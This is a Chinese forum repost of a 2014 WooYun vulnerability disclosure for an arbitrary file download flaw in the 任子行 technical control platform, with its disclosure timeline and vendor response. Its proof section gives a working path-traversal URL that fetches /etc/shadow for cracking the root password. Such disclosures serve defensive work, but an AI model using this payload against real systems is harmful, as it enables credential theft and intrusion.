中神通公司技术论坛 - Powered by Discuz! Board

标题: 任子行技术管控平台存在高危漏洞可下载任意文件 [打印本页]

作者: linda 时间: 2015-1-19 11:02 标题: 任子行技术管控平台存在高危漏洞可下载任意文件

漏洞概要
缺陷编号： WooYun-2014-79955
漏洞标题：任子行技术管控平台存在高危漏洞可下载任意文件

相关厂商：       任子行
漏洞作者：       路人甲
提交时间：       2014-10-19 13:42
公开时间：       2015-01-17 13:44
漏洞类型：       任意文件遍历/下载
危害等级：       高
自评Rank：       20
漏洞状态：       已交由第三方厂商(cncert国家互联网应急中心)处理
漏洞来源：       http://www.wooyun.org
Tags标签：    文件包含漏洞

漏洞详情披露状态：
2014-10-19：       细节已通知厂商并且等待厂商处理中
2014-10-23：       厂商已经确认，细节仅向厂商公开
2014-10-26：       细节向第三方安全合作伙伴开放
2014-11-02：       细节向核心白帽子及相关领域专家公开
2014-11-12：       细节向普通白帽子公开
2014-12-02：       细节向实习白帽子公开
2015-01-17：       细节向公众公开

简要描述：任子行技术管控平台存在任意文件下载漏洞。
详细说明：任子行技术管控平台存在任意文件下载漏洞，导致非法分子可以下载设备shadow等文件暴力破解root用户口令。
漏洞证明：通过访问http://url/smcs_zj/framework/filehandle/fileHandle/downOpenFile.do?fileName=passwd.zip&filePath=../../../../../../etc/shadow

可以获取账户名密码文件

修复方案：修复代码
版权声明：转载请注明来源路人甲@乌云

漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2014-10-23 10:26
厂商回复：
最新状态：暂无

原文：http://www.wooyun.org/bugs/wooyun-2014-079955

[ 本帖最后由 linda 于 2015-10-28 16:19 编辑 ]

欢迎光临中神通公司技术论坛 (http://trustcomputing.com.cn/bbs/)